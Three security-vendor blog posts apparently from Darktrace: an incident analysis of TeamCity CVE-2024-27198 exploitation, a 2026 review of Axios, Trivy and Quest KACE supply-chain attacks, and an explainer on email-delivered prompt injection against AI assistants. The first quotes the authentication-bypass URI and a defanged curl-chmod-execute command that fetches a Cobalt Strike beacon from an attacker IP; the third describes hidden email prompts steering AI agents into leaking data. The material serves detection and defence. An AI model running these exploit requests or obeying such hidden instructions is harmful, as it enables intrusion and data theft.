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August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst
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21
Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response.

/hax

  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

  • Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

  • Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

  • Device / New User Agent
  • Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same  vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.
Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

  • Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
  • Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released  [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC -     Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI  -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst

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May 5, 2026

When Trust Becomes the Attack Surface: Supply-Chain Attacks in an Era of Automation and Implicit Trust

Software supply chain attacksDefault blog imageDefault blog image

Software supply-chain attacks in 2026

Software supply-chain attacks now represent the primary threat shaping the 2026 security landscape. Rather than relying on exploits at the perimeter, attackers are targeting the connective tissue of modern engineering environments: package managers, CI/CD automation, developer systems, and even the security tools organizations inherently trust.

These incidents are not isolated cases of poisoned code. They reflect a structural shift toward abusing trusted automation and identity at ecosystem scale, where compromise propagates through systems designed for speed, not scrutiny. Ephemeral build runners, regardless of provider, represent high‑trust, low‑visibility execution zones.

The Axios compromise and the cascading Trivy campaign illustrate how quickly this abuse can move once attacker activity enters build and delivery workflows. This blog provides an overview of the latest supply chain and security tool incidents with Darktrace telemetry and defensive actions to improve organizations defensive cyber posture.

1. Why the Axios Compromise Scaled

On 31 March 2026, attackers hijacked the npm account of Axios’s lead maintainer, publishing malicious versions 1.14.1 and 0.30.4 that silently pulled in a malicious dependency, plain‑crypto‑[email protected]. Axios is a popular HTTP client for node.js and  processes 100 million weekly downloads and appears in around 80% of cloud and application environments, making this a high‑leverage breach [1].

The attack chain was simple yet effective:

  • A compromised maintainer account enabled legitimate‑looking malicious releases.
  • The poisoned dependency executed Remote Access Trojans (RATs) across Linux, macOS and Windows systems.
  • The malware beaconed to a remote command-and-control (C2) server every 60 seconds in a loop, awaiting further instructions.
  • The installer self‑cleaned by deleting malicious artifacts.

All of this matters because a single maintainer compromise was enough to project attacker access into thousands of trusted production environments without exploiting a single vulnerability.

A view from Darktrace

Multiple cases linked with the Axios compromise were identified across Darktrace’s customer base in March 2026, across both Darktrace / NETWORK and Darktrace / CLOUD deployments.

In one Darktrace / CLOUD deployment, an Azure Cloud Asset was observed establishing new external HTTP connectivity to the IP 142.11.206[.]73 on port 8000. Darktrace deemed this activity as highly anomalous for the device based on several factors, including the rarity of the endpoint across the network and the unusual combination of protocol and port for this asset. As a result, the triggering the "Anomalous Connection / Application Protocol on Uncommon Port" model was triggered in Darktrace / CLOUD. Detection was driven by environmental context rather than a known indicator at the time. Subsequent reporting later classified the destination as malicious in relation to the Axios supply‑chain compromise, reinforcing the gap that often exists between initial attacker activity and the availability of actionable intelligence. [5]

Additionally, shortly before this C2 connection, the device was observed communicating with various endpoints associated with the NPM package manager, further reinforcing the association with this attack.

Darktrace’s detection of the unusual external connection to 142.11[.]206[.]73 via port 8000.  
Figure 1: Darktrace’s detection of the unusual external connection to 142.11[.]206[.]73 via port 8000.  

Within Axios cases observed within Darktrace / NETWORK customer environments, activity generally focused on the use of newly observed cURL user agents in outbound connections to the C2 URL sfrclak[.]com/6202033, alongside the download of malicious files.

In other cases, Darktrace / NETWORK customers with Microsoft Defender for Endpoint integration received alerts flagging newly observed system executables and process launches associated with C2 communication.

A Security Integration Alert from Microsoft Defender for Endpoint associated with the Axios supply chain attack.
Figure 2: A Security Integration Alert from Microsoft Defender for Endpoint associated with the Axios supply chain attack.

2. Why Trivy bypassed security tooling trust

Between late February and March 22, 2026, the threat group TeamPCP leveraged credentials from a previous incident to insert malicious artifacts across Trivy’s distribution ecosystem, including its CI automation, release binaries, Visual Studio Code extensions, and Docker container images [2].

While public reporting has emphasized GitHub Actions, Darktrace telemetry highlights attacker execution within CI/CD runner environments, including ephemeral build runners. These execution contexts are typically granted broad trust and limited visibility, allowing malicious activity within build automation to blend into expected operational workflows, regardless of provider.

This was a coordinated multi‑phase attack:

  • 75 of 76  of trivy-action tags and all setup‑trivy tags were force‑pushed to deliver a malicious payload.
  • A malicious binary (v0.69.4) was distributed across all major distribution channels.
  • Developer machines were compromised, receiving a persistent backdoor and a self-propagating worm.
  • Secrets were exfiltrated at scale, including SSH keys, Kuberenetes tokens, database passwords, and cloud credentials across Amazon Web Service (AWS), Azure, and Google Cloud Platform (GCP).

Within Darktrace’s customer base, an AWS EC2 instance monitored by Darktrace / CLOUD  appeared to have been impacted by the Trivy attack. On March 19, the device was seen connecting to the attacker-controlled C2 server scan[.]aquasecurtiy[.]org (45.148.10[.]212), triggering the model 'Anomalous Server Activity / Outgoing from Server’ in Darktrace / CLOUD.

Despite this limited historical context, Darktrace assessed this activity as suspicious due to the rarity of the destination endpoint across the wider deployment. This resulted in the triggering of a model alert and the generation of a Cyber AI Analyst incident to further analyze and correlate the attack activity.

TeamPCP’s continued abused of GitHub Actions against security and IT tooling has also been observed more recently in Darktrace’s customer base. On April 22, an AWS asset was seen connecting to the C2 endpoint audit.checkmarx[.]cx (94.154.172[.]43). The timing of this activity suggests a potential link to a malicious Bitwarden package distributed by the threat actor, which was only available for a short timeframe on April 22. [4][3]

Figure 3: A model alert flagging unusual external connectivity from the AWS asset, as seen in Darktrace / CLOUD .

While the Trivy activity originated within build automation, the underlying failure mode mirrors later intrusions observed via management tooling. In both cases, attackers leveraged platforms designed for scale and trust to execute actions that blended into normal operational noise until downstream effects became visible.

Quest KACE: Legacy Risk, Real Impact

The Quest KACE System Management Appliance (SMA) incident reinforces that software risk is not confined to development pipelines alone. High‑trust infrastructure and management platforms are increasingly leveraged by adversaries when left unpatched or exposed to the internet.

Throughout March 2026, attackers exploited CVE 2025-32975 to authentication on outdated, internet-facing KACE appliances, gaining administrative control and pushing remote payloads into enterprise environments. Organizations still running pre-patch versions effectively handed adversaries a turnkey foothold, reaffirming a simple strategic truth: legacy management systems are now part of the supply-chain threat surface, and treating them as “low-risk utilities” is no longer defensible [3].

Within the Darktrace customer base, a potential case was identified in mid-March involving an internet-facing server that exhibited the use of a new user agent alongside unusual file downloads and unexpected external connectivity. Darktrace identified the device downloading file downloads from "216.126.225[.]156/x", "216.126.225[.]156/ct.py" and "216.126.225[.]156/n", using the user agents, "curl/8.5.0" & "Python-urllib/3.9".

The timeframe and IoCs observed point towards likely exploitation of CVE‑2025‑32975. As with earlier incidents, the activity became visible through deviations in expected system behavior rather than through advance knowledge of exploitation or attacker infrastructure. The delay between observed exploitation and its addition to the Known Exploited Vulnerabilities (KEV) catalogue underscores a recurring failure: retrospective validation cannot keep pace with adversaries operating at automation speed.

The strategic pattern: Ecosystem‑scale adversaries

The Axios and Trivy compromises are not anomalies; they are signals of a structural shift in the threat landscape. In this post-trust era, the compromise of a single maintainer, repository token, or CI/CD tag can produce large-scale blast radiuses with downstream victims numbering in the thousands. Attackers are no longer just exploiting vulnerabilities; they are exploiting infrastructure privileges, developer trust relationships, and automated build systems that the industry has generally under secured.

Supply‑chain compromise should now be treated as an assumed breach scenario, not a specialized threat class, particularly across build, integration, and management infrastructure. Organizations must operate under the assumption that compromise will occur within trusted software and automation layers, not solely at the network edge or user endpoint. Defenders should therefore expect compromise to emerge from trusted automation layers before it is labelled, validated, or widely understood.

The future of supply‑chain defense lies in continuous behavioral visibility, autonomous detection across developer and build environments, and real‑time anomaly identification.

As AI increasingly shapes software development and security operations, defenders must assume adversaries will also operate with AI in the loop. The defensive edge will come not from predicting specific compromises, but from continuously interrogating behavior across environments humans can no longer feasibly monitor at scale.

Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISCO), Emma Foulger (Global Threat Research Operations Lead), Justin Torres (Senior Cyber Analyst), Tara Gould (Malware Research Lead)

Edited by Ryan Traill (Content Manager)

Appendices

References:

1)         https://www.infosecurity-magazine.com/news/hackers-hijack-axios-npm-package/

2)         https://thehackernews.com/2026/03/trivy-hack-spreads-infostealer-via.html

3)         https://thehackernews.com/2026/03/hackers-exploit-cve-2025-32975-cvss-100.html

4)         https://www.endorlabs.com/learn/shai-hulud-the-third-coming----inside-the-bitwarden-cli-2026-4-0-supply-chain-attack

5)         https://socket.dev/blog/axios-npm-package-compromised?trk=public_post_comment-text

IoCs

- 142.11.206[.]73 – IP Address – Axios supply chain C2

- sfrclak[.]com – Hostname – Axios supply chain C2

- hxxp://sfrclak[.]com:8000/6202033 - URI – Axios supply chain payload

- 45.148.10[.]212 – IP Address – Trivy supply chain C2

- scan.aquasecurtiy[.]org – Hostname - Trivy supply chain C2

- 94.154.172[.]43 – IP Address - Checkmarx/Bitwarden supply chain C2

- audit.checkmarx[.]cx – Hostname - Checkmarx/Bitwarder supply chain C2

- 216.126.225[.]156 – IP Address – Quest KACE exploitation C2

- 216.126.225[.]156/32 - URI – Possible Quest KACE exploitation payload

- 216.126.225[.]156/ct.py - URI - Possible Quest KACE exploitation payload

- 216.126.225[.]156/n - URI - Possible Quest KACE exploitation payload

- 216.126.225[.]156/x - URI - Possible Quest KACE exploitation payload

- e1ec76a0e1f48901566d53828c34b5dc – MD5 - Possible Quest KACE exploitation payload

- d3beab2e2252a13d5689e9911c2b2b2fc3a41086 – SHA1 - Possible Quest KACE exploitation payload

- ab6677fcbbb1ff4a22cc3e7355e1c36768ba30bbf5cce36f4ec7ae99f850e6c5 – SHA256 - Possible Quest KACE exploitation payload

- 83b7a106a5e810a1781e62b278909396 – MD5 - Possible Quest KACE exploitation payload

- deb4b5841eea43cb8c5777ee33ee09bf294a670d – SHA1 - Possible Quest KACE exploitation payload

- b1b2f1e36dcaa36bc587fda1ddc3cbb8e04c3df5f1e3f1341c9d2ec0b0b0ffaf – SHA256 - Possible Quest KACE exploitation payload

Darktrace Model Detections

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Server Activity / Outgoing from Server

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous File / EXE from Rare External Location

Anomalous File / Script from Rare External Location

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous Server Activity / Rare External from Server

Antigena / Network / External Threat / Antigena Suspicious File Block

Antigena / Network / External Threat / Antigena Suspicious File Pattern of Life Block

Device / New User Agent

Device / Internet Facing Device with High Priority Alert

Anomalous File / New User Agent Followed By Numeric File Download

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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May 5, 2026

How email-delivered prompt injection attacks can target enterprise AI – and why it matters

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What are email-delivered prompt injection attacks?

As organizations rapidly adopt AI assistants to improve productivity, a new class of cyber risk is emerging alongside them: email-delivered AI prompt injection. Unlike traditional attacks that target software vulnerabilities or rely on social engineering, this is the act of embedding malicious or manipulative instructions into content that an AI system will process as part of its normal workflow. Because modern AI tools are designed to ingest and reason over large volumes of data, including emails, documents, and chat histories, they can unintentionally treat hidden attacker-controlled text as legitimate input.  

At Darktrace, our analysis has shown an increase of 90% in the number of customer deployments showing signals associated with potential prompt injection attempts since we began monitoring for this type of activity in late 2025. While it is not always possible to definitively attribute each instance, internal scoring systems designed to identify characteristics consistent with prompt injection have recorded a growing number of high-confidence matches. The upward trend suggests that attackers are actively experimenting with these techniques.

Recent examples of prompt injection attacks

Two early examples of this evolving threat are HashJack and ShadowLeak, which illustrate prompt injection in practice.

HashJack is a novel prompt injection technique discovered in November 2025 that exploits AI-powered web browsers and agentic AI browser assistants. By hiding malicious instructions within the URL fragment (after the # symbol) of a legitimate, trusted website, attackers can trick AI web assistants into performing malicious actions – potentially inserting phishing links, fake contact details, or misleading guidance directly into what appears to be a trusted AI-generated output.

ShadowLeak is a prompt injection method to exfiltrate PII identified in September 2025. This was a flaw in ChatGPT (now patched by OpenAI) which worked via an agent connected to email. If attackers sent the target an email containing a hidden prompt, the agent was tricked into leaking sensitive information to the attacker with no user action or visible UI.

What’s the risk of email-delivered prompt injection attacks?

Enterprise AI assistants often have complete visibility across emails, documents, and internal platforms. This means an attacker does not need to compromise credentials or move laterally through an environment. If successful, they can influence the AI to retrieve relevant information seamlessly, without the labor of compromise and privilege escalation.

The first risk is data exfiltration. In a prompt injection scenario, malicious instructions may be embedded within an ordinary email. As in the ShadowLeak attack, when AI processes that content as part of a legitimate task, it may interpret the hidden text as an instruction. This could result in the AI disclosing sensitive data, summarizing confidential communications, or exposing internal context that would otherwise require significant effort to obtain.

The second risk is agentic workflow poisoning. As AI systems take on more active roles, prompt injection can influence how they behave over time. An attacker could embed instructions that persist across interactions, such as causing the AI to include malicious links in responses or redirect users to untrusted resources. In this way, the attacker inserts themselves into the workflow, effectively acting as a man-in-the-middle within the AI system.

Why can’t other solutions catch email-delivered prompt injection attacks?

AI prompt injection challenges many of the assumptions that traditional email security is built on. It does not fit the usual patterns of phishing, where the goal is to trick a user into clicking a link or opening an attachment.  

Most security solutions are designed to detect signals associated with user engagement: suspicious links, unusual attachments, or social engineering cues. Prompt injection avoids these indicators entirely, meaning there are fewer obvious red flags.

In this case, the intention is actually the opposite of user solicitation. The objective is simply for the email to be delivered and remain in the inbox, appearing benign and unremarkable. The malicious element is not something the recipient is expected to engage with, or even notice.

Detection is further complicated by the nature of the prompts themselves. Unlike known malware signatures or consistent phishing patterns, injected prompts can vary widely in structure and wording. This makes simple pattern-matching approaches, such as regex, unreliable. A broad rule set risks generating large numbers of false positives, while a narrow one is unlikely to capture the diversity of possible injections.

How does Darktrace catch these types of attacks?

The Darktrace approach to email security more generally is to look beyond individual indicators and assess context, which also applies here.  

For example, our prompt density score identifies clusters of prompt-like language within an email rather than just single occurrences. Instead of treating the presence of a phrase as a blocking signal, the focus is on whether there is an unusual concentration of these patterns in a way that suggests injection. Additional weighting can be applied where there are signs of obfuscation. For example, text that is hidden from the user – such as white font or font size zero – but still readable by AI systems can indicate an attempt to conceal malicious prompts.

This is combined with broader behavioral signals. The same communication context used to detect other threats remains relevant, such as whether the content is unusual for the recipient or deviates from normal patterns.

Ask your email provider about email-delivered AI prompt injection

Prompt injection targets not just employees, but the AI systems they rely on, so security approaches need to account for both.

Though there are clear indications of emerging activity, it remains to be seen how popular prompt injection will be with attackers going forward. Still, considering the potential impact of this attack type, it’s worth checking if this risk has been considered by your email security provider.

Questions to ask your email security provider

  • What safeguards are in place to prevent emails from influencing AI‑driven workflows over time?
  • How do you assess email content that’s benign for a human reader, but may carry hidden instructions intended for AI systems?
  • If an email contains no links, no attachments, and no social engineering cues, what signals would your platform use to identify malicious intent?

Visit the Darktrace / EMAIL product hub to discover how we detect and respond to advanced communication threats.  

Learn more about securing AI in your enterprise.

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About the author
Kiri Addison
Senior Director of Product
Your data. Our AI.
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